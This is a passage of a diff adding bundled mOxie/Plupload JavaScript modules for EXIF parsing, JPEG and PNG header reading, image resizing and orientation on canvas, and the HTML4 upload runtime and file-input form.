+			// The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard.
+
+			for (i = 0; i < length; i++) {
+				values = [];
+
+				// Set binary reader pointer to beginning of the next tag
+				offset = IFD_offset + 2 + i*12;
+
+				tag = tags2extract[data.SHORT(offset)];
+
+				if (tag === undefined) {
+					continue; // Not the tag we requested
+				}
+
+				type = types[data.SHORT(offset+=2)];
+				count = data.LONG(offset+=2);
+				size = sizes[type];
+
+				if (!size) {
+					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
+				}
+
+				offset += 4;
+
+				// tag can only fit 4 bytes of data, if data is larger we should look outside
+				if (size * count > 4) {
+					// instead of data tag contains an offset of the data
+					offset = data.LONG(offset) + offsets.tiffHeader;
+				}
+
+				// in case we left the boundaries of data throw an early exception
+				if (offset + size * count >= this.length()) {
+					throw new x.ImageError(x.ImageError.INVALID_META_ERR);
+				} 
+
+				// special care for the string
+				if (type === 'ASCII') {
+					hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL
+					continue;
+				} else {
+					values = data.asArray(type, offset, count);
+					value = (count == 1 ? values[0] : values);
+
+					if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') {
+						hash[tag] = tagDescs[tag][value];
+					} else {
+						hash[tag] = value;
+					}
+				}
+			}
+
+			return hash;
+		}
+
+		// At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported
+		function setTag(ifd, tag, value) {
+			var offset, length, tagOffset, valueOffset = 0;
+
+			// If tag name passed translate into hex key
+			if (typeof(tag) === 'string') {
+				var tmpTags = tags[ifd.toLowerCase()];
+				for (var hex in tmpTags) {
+					if (tmpTags[hex] === tag) {
+						tag = hex;
+						break;
+					}
+				}
+			}
+			offset = offsets[ifd.toLowerCase() + 'IFD'];
+			length = this.SHORT(offset);
+
+			for (var i = 0; i < length; i++) {
+				tagOffset = offset + 12 * i + 2;
+
+				if (this.SHORT(tagOffset) == tag) {
+					valueOffset = tagOffset + 8;
+					break;
+				}
+			}
+
+			if (!valueOffset) {
+				return false;
+			}
+
+			try {
+				this.write(valueOffset, value, 4);
+			} catch(ex) {
+				return false;
+			}
+
+			return true;
+		}
+	}
+
+	ExifParser.prototype = BinaryReader.prototype;
+
+	return ExifParser;
+});
+
+// Included from: src/javascript/runtime/html5/image/JPEG.js
+
+/**
+ * JPEG.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/image/JPEG
+@private
+*/
+define("moxie/runtime/html5/image/JPEG", [
+	"moxie/core/utils/Basic",
+	"moxie/core/Exceptions",
+	"moxie/runtime/html5/image/JPEGHeaders",
+	"moxie/runtime/html5/utils/BinaryReader",
+	"moxie/runtime/html5/image/ExifParser"
+], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) {
+	
+	function JPEG(data) {
+		var _br, _hm, _ep, _info;
+
+		_br = new BinaryReader(data);
+
+		// check if it is jpeg
+		if (_br.SHORT(0) !== 0xFFD8) {
+			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
+		}
+
+		// backup headers
+		_hm = new JPEGHeaders(data);
+
+		// extract exif info
+		try {
+			_ep = new ExifParser(_hm.get('app1')[0]);
+		} catch(ex) {}
+
+		// get dimensions
+		_info = _getDimensions.call(this);
+
+		Basic.extend(this, {
+			type: 'image/jpeg',
+
+			size: _br.length(),
+
+			width: _info && _info.width || 0,
+
+			height: _info && _info.height || 0,
+
+			setExif: function(tag, value) {
+				if (!_ep) {
+					return false; // or throw an exception
+				}
+
+				if (Basic.typeOf(tag) === 'object') {
+					Basic.each(tag, function(value, tag) {
+						_ep.setExif(tag, value);
+					});
+				} else {
+					_ep.setExif(tag, value);
+				}
+
+				// update internal headers
+				_hm.set('app1', _ep.SEGMENT());
+			},
+
+			writeHeaders: function() {
+				if (!arguments.length) {
+					// if no arguments passed, update headers internally
+					return _hm.restore(data);
+				}
+				return _hm.restore(arguments[0]);
+			},
+
+			stripHeaders: function(data) {
+				return _hm.strip(data);
+			},
+
+			purge: function() {
+				_purge.call(this);
+			}
+		});
+
+		if (_ep) {
+			this.meta = {
+				tiff: _ep.TIFF(),
+				exif: _ep.EXIF(),
+				gps: _ep.GPS(),
+				thumb: _getThumb()
+			};
+		}
+
+
+		function _getDimensions(br) {
+			var idx = 0
+			, marker
+			, length
+			;
+
+			if (!br) {
+				br = _br;
+			}
+
+			// examine all through the end, since some images might have very large APP segments
+			while (idx <= br.length()) {
+				marker = br.SHORT(idx += 2);
+
+				if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn
+					idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte)
+					return {
+						height: br.SHORT(idx),
+						width: br.SHORT(idx += 2)
+					};
+				}
+				length = br.SHORT(idx += 2);
+				idx += length - 2;
+			}
+			return null;
+		}
+
+
+		function _getThumb() {
+			var data =  _ep.thumb()
+			, br
+			, info
+			;
+
+			if (data) {
+				br = new BinaryReader(data);
+				info = _getDimensions(br);
+				br.clear();
+
+				if (info) {
+					info.data = data;
+					return info;
+				}
+			}
+			return null;
+		}
+
+
+		function _purge() {
+			if (!_ep || !_hm || !_br) { 
+				return; // ignore any repeating purge requests
+			}
+			_ep.clear();
+			_hm.purge();
+			_br.clear();
+			_info = _hm = _ep = _br = null;
+		}
+	}
+
+	return JPEG;
+});
+
+// Included from: src/javascript/runtime/html5/image/PNG.js
+
+/**
+ * PNG.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/image/PNG
+@private
+*/
+define("moxie/runtime/html5/image/PNG", [
+	"moxie/core/Exceptions",
+	"moxie/core/utils/Basic",
+	"moxie/runtime/html5/utils/BinaryReader"
+], function(x, Basic, BinaryReader) {
+	
+	function PNG(data) {
+		var _br, _hm, _ep, _info;
+
+		_br = new BinaryReader(data);
+
+		// check if it's png
+		(function() {
+			var idx = 0, i = 0
+			, signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A]
+			;
+
+			for (i = 0; i < signature.length; i++, idx += 2) {
+				if (signature[i] != _br.SHORT(idx)) {
+					throw new x.ImageError(x.ImageError.WRONG_FORMAT);
+				}
+			}
+		}());
+
+		function _getDimensions() {
+			var chunk, idx;
+
+			chunk = _getChunkAt.call(this, 8);
+
+			if (chunk.type == 'IHDR') {
+				idx = chunk.start;
+				return {
+					width: _br.LONG(idx),
+					height: _br.LONG(idx += 4)
+				};
+			}
+			return null;
+		}
+
+		function _purge() {
+			if (!_br) {
+				return; // ignore any repeating purge requests
+			}
+			_br.clear();
+			data = _info = _hm = _ep = _br = null;
+		}
+
+		_info = _getDimensions.call(this);
+
+		Basic.extend(this, {
+			type: 'image/png',
+
+			size: _br.length(),
+
+			width: _info.width,
+
+			height: _info.height,
+
+			purge: function() {
+				_purge.call(this);
+			}
+		});
+
+		// for PNG we can safely trigger purge automatically, as we do not keep any data for later
+		_purge.call(this);
+
+		function _getChunkAt(idx) {
+			var length, type, start, CRC;
+
+			length = _br.LONG(idx);
+			type = _br.STRING(idx += 4, 4);
+			start = idx += 4;
+			CRC = _br.LONG(idx + length);
+
+			return {
+				length: length,
+				type: type,
+				start: start,
+				CRC: CRC
+			};
+		}
+	}
+
+	return PNG;
+});
+
+// Included from: src/javascript/runtime/html5/image/ImageInfo.js
+
+/**
+ * ImageInfo.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/image/ImageInfo
+@private
+*/
+define("moxie/runtime/html5/image/ImageInfo", [
+	"moxie/core/utils/Basic",
+	"moxie/core/Exceptions",
+	"moxie/runtime/html5/image/JPEG",
+	"moxie/runtime/html5/image/PNG"
+], function(Basic, x, JPEG, PNG) {
+	/**
+	Optional image investigation tool for HTML5 runtime. Provides the following features:
+	- ability to distinguish image type (JPEG or PNG) by signature
+	- ability to extract image width/height directly from it's internals, without preloading in memory (fast)
+	- ability to extract APP headers from JPEGs (Exif, GPS, etc)
+	- ability to replace width/height tags in extracted JPEG headers
+	- ability to restore APP headers, that were for example stripped during image manipulation
+
+	@class ImageInfo
+	@constructor
+	@param {String} data Image source as binary string
+	*/
+	return function(data) {
+		var _cs = [JPEG, PNG], _img;
+
+		// figure out the format, throw: ImageError.WRONG_FORMAT if not supported
+		_img = (function() {
+			for (var i = 0; i < _cs.length; i++) {
+				try {
+					return new _cs[i](data);
+				} catch (ex) {
+					// console.info(ex);
+				}
+			}
+			throw new x.ImageError(x.ImageError.WRONG_FORMAT);
+		}());
+
+		Basic.extend(this, {
+			/**
+			Image Mime Type extracted from it's depths
+
+			@property type
+			@type {String}
+			@default ''
+			*/
+			type: '',
+
+			/**
+			Image size in bytes
+
+			@property size
+			@type {Number}
+			@default 0
+			*/
+			size: 0,
+
+			/**
+			Image width extracted from image source
+
+			@property width
+			@type {Number}
+			@default 0
+			*/
+			width: 0,
+
+			/**
+			Image height extracted from image source
+
+			@property height
+			@type {Number}
+			@default 0
+			*/
+			height: 0,
+
+			/**
+			Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs.
+
+			@method setExif
+			@param {String} tag Tag to set
+			@param {Mixed} value Value to assign to the tag
+			*/
+			setExif: function() {},
+
+			/**
+			Restores headers to the source.
+
+			@method writeHeaders
+			@param {String} data Image source as binary string
+			@return {String} Updated binary string
+			*/
+			writeHeaders: function(data) {
+				return data;
+			},
+
+			/**
+			Strip all headers from the source.
+
+			@method stripHeaders
+			@param {String} data Image source as binary string
+			@return {String} Updated binary string
+			*/
+			stripHeaders: function(data) {
+				return data;
+			},
+
+			/**
+			Dispose resources.
+
+			@method purge
+			*/
+			purge: function() {
+				data = null;
+			}
+		});
+
+		Basic.extend(this, _img);
+
+		this.purge = function() {
+			_img.purge();
+			_img = null;
+		};
+	};
+});
+
+// Included from: src/javascript/runtime/html5/image/MegaPixel.js
+
+/**
+(The MIT License)
+
+Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>;
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+'Software'), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
+CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
+TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+*/
+
+/**
+ * Mega pixel image rendering library for iOS6 Safari
+ *
+ * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel),
+ * which causes unexpected subsampling when drawing it in canvas.
+ * By using this library, you can safely render the image with proper stretching.
+ *
+ * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>
+ * Released under the MIT license
+ */
+
+/**
+@class moxie/runtime/html5/image/MegaPixel
+@private
+*/
+define("moxie/runtime/html5/image/MegaPixel", [], function() {
+
+	/**
+	 * Rendering image element (with resizing) into the canvas element
+	 */
+	function renderImageToCanvas(img, canvas, options) {
+		var iw = img.naturalWidth, ih = img.naturalHeight;
+		var width = options.width, height = options.height;
+		var x = options.x || 0, y = options.y || 0;
+		var ctx = canvas.getContext('2d');
+		if (detectSubsampling(img)) {
+			iw /= 2;
+			ih /= 2;
+		}
+		var d = 1024; // size of tiling canvas
+		var tmpCanvas = document.createElement('canvas');
+		tmpCanvas.width = tmpCanvas.height = d;
+		var tmpCtx = tmpCanvas.getContext('2d');
+		var vertSquashRatio = detectVerticalSquash(img, iw, ih);
+		var sy = 0;
+		while (sy < ih) {
+			var sh = sy + d > ih ? ih - sy : d;
+			var sx = 0;
+			while (sx < iw) {
+				var sw = sx + d > iw ? iw - sx : d;
+				tmpCtx.clearRect(0, 0, d, d);
+				tmpCtx.drawImage(img, -sx, -sy);
+				var dx = (sx * width / iw + x) << 0;
+				var dw = Math.ceil(sw * width / iw);
+				var dy = (sy * height / ih / vertSquashRatio + y) << 0;
+				var dh = Math.ceil(sh * height / ih / vertSquashRatio);
+				ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh);
+				sx += d;
+			}
+			sy += d;
+		}
+		tmpCanvas = tmpCtx = null;
+	}
+
+	/**
+	 * Detect subsampling in loaded image.
+	 * In iOS, larger images than 2M pixels may be subsampled in rendering.
+	 */
+	function detectSubsampling(img) {
+		var iw = img.naturalWidth, ih = img.naturalHeight;
+		if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image
+			var canvas = document.createElement('canvas');
+			canvas.width = canvas.height = 1;
+			var ctx = canvas.getContext('2d');
+			ctx.drawImage(img, -iw + 1, 0);
+			// subsampled image becomes half smaller in rendering size.
+			// check alpha channel value to confirm image is covering edge pixel or not.
+			// if alpha value is 0 image is not covering, hence subsampled.
+			return ctx.getImageData(0, 0, 1, 1).data[3] === 0;
+		} else {
+			return false;
+		}
+	}
+
+
+	/**
+	 * Detecting vertical squash in loaded image.
+	 * Fixes a bug which squash image vertically while drawing into canvas for some images.
+	 */
+	function detectVerticalSquash(img, iw, ih) {
+		var canvas = document.createElement('canvas');
+		canvas.width = 1;
+		canvas.height = ih;
+		var ctx = canvas.getContext('2d');
+		ctx.drawImage(img, 0, 0);
+		var data = ctx.getImageData(0, 0, 1, ih).data;
+		// search image edge pixel position in case it is squashed vertically.
+		var sy = 0;
+		var ey = ih;
+		var py = ih;
+		while (py > sy) {
+			var alpha = data[(py - 1) * 4 + 3];
+			if (alpha === 0) {
+				ey = py;
+			} else {
+			sy = py;
+			}
+			py = (ey + sy) >> 1;
+		}
+		canvas = null;
+		var ratio = (py / ih);
+		return (ratio === 0) ? 1 : ratio;
+	}
+
+	return {
+		isSubsampled: detectSubsampling,
+		renderTo: renderImageToCanvas
+	};
+});
+
+// Included from: src/javascript/runtime/html5/image/Image.js
+
+/**
+ * Image.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/image/Image
+@private
+*/
+define("moxie/runtime/html5/image/Image", [
+	"moxie/runtime/html5/Runtime",
+	"moxie/core/utils/Basic",
+	"moxie/core/Exceptions",
+	"moxie/core/utils/Encode",
+	"moxie/file/Blob",
+	"moxie/file/File",
+	"moxie/runtime/html5/image/ImageInfo",
+	"moxie/runtime/html5/image/MegaPixel",
+	"moxie/core/utils/Mime",
+	"moxie/core/utils/Env"
+], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) {
+	
+	function HTML5Image() {
+		var me = this
+		, _img, _imgInfo, _canvas, _binStr, _blob
+		, _modified = false // is set true whenever image is modified
+		, _preserveHeaders = true
+		;
+
+		Basic.extend(this, {
+			loadFromBlob: function(blob) {
+				var comp = this, I = comp.getRuntime()
+				, asBinary = arguments.length > 1 ? arguments[1] : true
+				;
+
+				if (!I.can('access_binary')) {
+					throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
+				}
+
+				_blob = blob;
+
+				if (blob.isDetached()) {
+					_binStr = blob.getSource();
+					_preload.call(this, _binStr);
+					return;
+				} else {
+					_readAsDataUrl.call(this, blob.getSource(), function(dataUrl) {
+						if (asBinary) {
+							_binStr = _toBinary(dataUrl);
+						}
+						_preload.call(comp, dataUrl);
+					});
+				}
+			},
+
+			loadFromImage: function(img, exact) {
+				this.meta = img.meta;
+
+				_blob = new File(null, {
+					name: img.name,
+					size: img.size,
+					type: img.type
+				});
+
+				_preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL());
+			},
+
+			getInfo: function() {
+				var I = this.getRuntime(), info;
+
+				if (!_imgInfo && _binStr && I.can('access_image_binary')) {
+					_imgInfo = new ImageInfo(_binStr);
+				}
+
+				info = {
+					width: _getImg().width || 0,
+					height: _getImg().height || 0,
+					type: _blob.type || Mime.getFileMime(_blob.name),
+					size: _binStr && _binStr.length || _blob.size || 0,
+					name: _blob.name || '',
+					meta: _imgInfo && _imgInfo.meta || this.meta || {}
+				};
+
+				// store thumbnail data as blob
+				if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) {
+					info.meta.thumb.data = new Blob(null, {
+						type: 'image/jpeg',
+						data: info.meta.thumb.data
+					});
+				}
+
+				return info;
+			},
+
+			downsize: function() {
+				_downsize.apply(this, arguments);
+			},
+
+			getAsCanvas: function() {
+				if (_canvas) {
+					_canvas.id = this.uid + '_canvas';
+				}
+				return _canvas;
+			},
+
+			getAsBlob: function(type, quality) {
+				if (type !== this.type) {
+					// if different mime type requested prepare image for conversion
+					_downsize.call(this, this.width, this.height, false);
+				}
+				return new File(null, {
+					name: _blob.name || '',
+					type: type,
+					data: me.getAsBinaryString.call(this, type, quality)
+				});
+			},
+
+			getAsDataURL: function(type) {
+				var quality = arguments[1] || 90;
+
+				// if image has not been modified, return the source right away
+				if (!_modified) {
+					return _img.src;
+				}
+
+				if ('image/jpeg' !== type) {
+					return _canvas.toDataURL('image/png');
+				} else {
+					try {
+						// older Geckos used to result in an exception on quality argument
+						return _canvas.toDataURL('image/jpeg', quality/100);
+					} catch (ex) {
+						return _canvas.toDataURL('image/jpeg');
+					}
+				}
+			},
+
+			getAsBinaryString: function(type, quality) {
+				// if image has not been modified, return the source right away
+				if (!_modified) {
+					// if image was not loaded from binary string
+					if (!_binStr) {
+						_binStr = _toBinary(me.getAsDataURL(type, quality));
+					}
+					return _binStr;
+				}
+
+				if ('image/jpeg' !== type) {
+					_binStr = _toBinary(me.getAsDataURL(type, quality));
+				} else {
+					var dataUrl;
+
+					// if jpeg
+					if (!quality) {
+						quality = 90;
+					}
+
+					try {
+						// older Geckos used to result in an exception on quality argument
+						dataUrl = _canvas.toDataURL('image/jpeg', quality/100);
+					} catch (ex) {
+						dataUrl = _canvas.toDataURL('image/jpeg');
+					}
+
+					_binStr = _toBinary(dataUrl);
+
+					if (_imgInfo) {
+						_binStr = _imgInfo.stripHeaders(_binStr);
+
+						if (_preserveHeaders) {
+							// update dimensions info in exif
+							if (_imgInfo.meta && _imgInfo.meta.exif) {
+								_imgInfo.setExif({
+									PixelXDimension: this.width,
+									PixelYDimension: this.height
+								});
+							}
+
+							// re-inject the headers
+							_binStr = _imgInfo.writeHeaders(_binStr);
+						}
+
+						// will be re-created from fresh on next getInfo call
+						_imgInfo.purge();
+						_imgInfo = null;
+					}
+				}
+
+				_modified = false;
+
+				return _binStr;
+			},
+
+			destroy: function() {
+				me = null;
+				_purge.call(this);
+				this.getRuntime().getShim().removeInstance(this.uid);
+			}
+		});
+
+
+		function _getImg() {
+			if (!_canvas && !_img) {
+				throw new x.ImageError(x.DOMException.INVALID_STATE_ERR);
+			}
+			return _canvas || _img;
+		}
+
+
+		function _toBinary(str) {
+			return Encode.atob(str.substring(str.indexOf('base64,') + 7));
+		}
+
+
+		function _toDataUrl(str, type) {
+			return 'data:' + (type || '') + ';base64,' + Encode.btoa(str);
+		}
+
+
+		function _preload(str) {
+			var comp = this;
+
+			_img = new Image();
+			_img.onerror = function() {
+				_purge.call(this);
+				comp.trigger('error', x.ImageError.WRONG_FORMAT);
+			};
+			_img.onload = function() {
+				comp.trigger('load');
+			};
+
+			_img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type);
+		}
+
+
+		function _readAsDataUrl(file, callback) {
+			var comp = this, fr;
+
+			// use FileReader if it's available
+			if (window.FileReader) {
+				fr = new FileReader();
+				fr.onload = function() {
+					callback(this.result);
+				};
+				fr.onerror = function() {
+					comp.trigger('error', x.ImageError.WRONG_FORMAT);
+				};
+				fr.readAsDataURL(file);
+			} else {
+				return callback(file.getAsDataURL());
+			}
+		}
+
+		function _downsize(width, height, crop, preserveHeaders) {
+			var self = this
+			, scale
+			, mathFn
+			, x = 0
+			, y = 0
+			, img
+			, destWidth
+			, destHeight
+			, orientation
+			;
+
+			_preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString())
+
+			// take into account orientation tag
+			orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1;
+
+			if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation
+				// swap dimensions
+				var tmp = width;
+				width = height;
+				height = tmp;
+			}
+
+			img = _getImg();
+
+			// unify dimensions
+			if (!crop) {
+				scale = Math.min(width/img.width, height/img.height);
+			} else {
+				// one of the dimensions may exceed the actual image dimensions - we need to take the smallest value
+				width = Math.min(width, img.width);
+				height = Math.min(height, img.height);
+
+				scale = Math.max(width/img.width, height/img.height);
+			}
+		
+			// we only downsize here
+			if (scale > 1 && !crop && preserveHeaders) {
+				this.trigger('Resize');
+				return;
+			}
+
+			// prepare canvas if necessary
+			if (!_canvas) {
+				_canvas = document.createElement("canvas");
+			}
+
+			// calculate dimensions of proportionally resized image
+			destWidth = Math.round(img.width * scale);	
+			destHeight = Math.round(img.height * scale);
+
+			// scale image and canvas
+			if (crop) {
+				_canvas.width = width;
+				_canvas.height = height;
+
+				// if dimensions of the resulting image still larger than canvas, center it
+				if (destWidth > width) {
+					x = Math.round((destWidth - width) / 2);
+				}
+
+				if (destHeight > height) {
+					y = Math.round((destHeight - height) / 2);
+				}
+			} else {
+				_canvas.width = destWidth;
+				_canvas.height = destHeight;
+			}
+
+			// rotate if required, according to orientation tag
+			if (!_preserveHeaders) {
+				_rotateToOrientaion(_canvas.width, _canvas.height, orientation);
+			}
+
+			_drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight);
+
+			this.width = _canvas.width;
+			this.height = _canvas.height;
+
+			_modified = true;
+			self.trigger('Resize');
+		}
+
+
+		function _drawToCanvas(img, canvas, x, y, w, h) {
+			if (Env.OS === 'iOS') { 
+				// avoid squish bug in iOS6
+				MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y });
+			} else {
+				var ctx = canvas.getContext('2d');
+				ctx.drawImage(img, x, y, w, h);
+			}
+		}
+
+
+		/**
+		* Transform canvas coordination according to specified frame size and orientation
+		* Orientation value is from EXIF tag
+		* @author Shinichi Tomita <shinichi.tomita@gmail.com>
+		*/
+		function _rotateToOrientaion(width, height, orientation) {
+			switch (orientation) {
+				case 5:
+				case 6:
+				case 7:
+				case 8:
+					_canvas.width = height;
+					_canvas.height = width;
+					break;
+				default:
+					_canvas.width = width;
+					_canvas.height = height;
+			}
+
+			/**
+			1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side.
+			2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side.
+			3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side.
+			4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side.
+			5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top.
+			6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top.
+			7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom.
+			8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom.
+			*/
+
+			var ctx = _canvas.getContext('2d');
+			switch (orientation) {
+				case 2:
+					// horizontal flip
+					ctx.translate(width, 0);
+					ctx.scale(-1, 1);
+					break;
+				case 3:
+					// 180 rotate left
+					ctx.translate(width, height);
+					ctx.rotate(Math.PI);
+					break;
+				case 4:
+					// vertical flip
+					ctx.translate(0, height);
+					ctx.scale(1, -1);
+					break;
+				case 5:
+					// vertical flip + 90 rotate right
+					ctx.rotate(0.5 * Math.PI);
+					ctx.scale(1, -1);
+					break;
+				case 6:
+					// 90 rotate right
+					ctx.rotate(0.5 * Math.PI);
+					ctx.translate(0, -height);
+					break;
+				case 7:
+					// horizontal flip + 90 rotate right
+					ctx.rotate(0.5 * Math.PI);
+					ctx.translate(width, -height);
+					ctx.scale(-1, 1);
+					break;
+				case 8:
+					// 90 rotate left
+					ctx.rotate(-0.5 * Math.PI);
+					ctx.translate(-width, 0);
+					break;
+			}
+		}
+
+
+		function _purge() {
+			if (_imgInfo) {
+				_imgInfo.purge();
+				_imgInfo = null;
+			}
+			_binStr = _img = _canvas = _blob = null;
+			_modified = false;
+		}
+	}
+
+	return (extensions.Image = HTML5Image);
+});
+
+/**
+ * Stub for moxie/runtime/flash/Runtime
+ * @private
+ */
+define("moxie/runtime/flash/Runtime", [
+], function() {
+	return {};
+});
+
+/**
+ * Stub for moxie/runtime/silverlight/Runtime
+ * @private
+ */
+define("moxie/runtime/silverlight/Runtime", [
+], function() {
+	return {};
+});
+
+// Included from: src/javascript/runtime/html4/Runtime.js
+
+/**
+ * Runtime.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/*global File:true */
+
+/**
+Defines constructor for HTML4 runtime.
+
+@class moxie/runtime/html4/Runtime
+@private
+*/
+define("moxie/runtime/html4/Runtime", [
+	"moxie/core/utils/Basic",
+	"moxie/core/Exceptions",
+	"moxie/runtime/Runtime",
+	"moxie/core/utils/Env"
+], function(Basic, x, Runtime, Env) {
+	
+	var type = 'html4', extensions = {};
+
+	function Html4Runtime(options) {
+		var I = this
+		, Test = Runtime.capTest
+		, True = Runtime.capTrue
+		;
+
+		Runtime.call(this, options, type, {
+			access_binary: Test(window.FileReader || window.File && File.getAsDataURL),
+			access_image_binary: false,
+			display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))),
+			do_cors: false,
+			drag_and_drop: false,
+			filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
+				return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || 
+					(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || 
+					(Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
+			}()),
+			resize_image: function() {
+				return extensions.Image && I.can('access_binary') && Env.can('create_canvas');
+			},
+			report_upload_progress: false,
+			return_response_headers: false,
+			return_response_type: function(responseType) {
+				if (responseType === 'json' && !!window.JSON) {
+					return true;
+				} 
+				return !!~Basic.inArray(responseType, ['text', 'document', '']);
+			},
+			return_status_code: function(code) {
+				return !Basic.arrayDiff(code, [200, 404]);
+			},
+			select_file: function() {
+				return Env.can('use_fileinput');
+			},
+			select_multiple: false,
+			send_binary_string: false,
+			send_custom_headers: false,
+			send_multipart: true,
+			slice_blob: false,
+			stream_upload: function() {
+				return I.can('select_file');
+			},
+			summon_file_dialog: function() { // yeah... some dirty sniffing here...
+				return I.can('select_file') && (
+					(Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
+					(Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
+					(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
+					!!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
+				);
+			},
+			upload_filesize: True,
+			use_http_method: function(methods) {
+				return !Basic.arrayDiff(methods, ['GET', 'POST']);
+			}
+		});
+
+
+		Basic.extend(this, {
+			init : function() {
+				this.trigger("Init");
+			},
+
+			destroy: (function(destroy) { // extend default destroy method
+				return function() {
+					destroy.call(I);
+					destroy = I = null;
+				};
+			}(this.destroy))
+		});
+
+		Basic.extend(this.getShim(), extensions);
+	}
+
+	Runtime.addConstructor(type, Html4Runtime);
+
+	return extensions;
+});
+
+// Included from: src/javascript/runtime/html4/file/FileInput.js
+
+/**
+ * FileInput.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html4/file/FileInput
+@private
+*/
+define("moxie/runtime/html4/file/FileInput", [
+	"moxie/runtime/html4/Runtime",
+	"moxie/file/File",
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Dom",
+	"moxie/core/utils/Events",
+	"moxie/core/utils/Mime",
+	"moxie/core/utils/Env"
+], function(extensions, File, Basic, Dom, Events, Mime, Env) {
+	
+	function FileInput() {
+		var _uid, _mimes = [], _options;
+
+		function addInput() {
+			var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid;
+
+			uid = Basic.guid('uid_');
+
+			shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE
+
+			if (_uid) { // move previous form out of the view
+				currForm = Dom.get(_uid + '_form');
+				if (currForm) {
+					Basic.extend(currForm.style, { top: '100%' });
+				}
+			}
+
+			// build form in DOM, since innerHTML version not able to submit file for some reason
+			form = document.createElement('form');
+			form.setAttribute('id', uid + '_form');
+			form.setAttribute('method', 'post');
+			form.setAttribute('enctype', 'multipart/form-data');
+			form.setAttribute('encoding', 'multipart/form-data');
+
+			Basic.extend(form.style, {
+				overflow: 'hidden',
+				position: 'absolute',
+				top: 0,
+				left: 0,
+				width: '100%',
+				height: '100%'
+			});
+
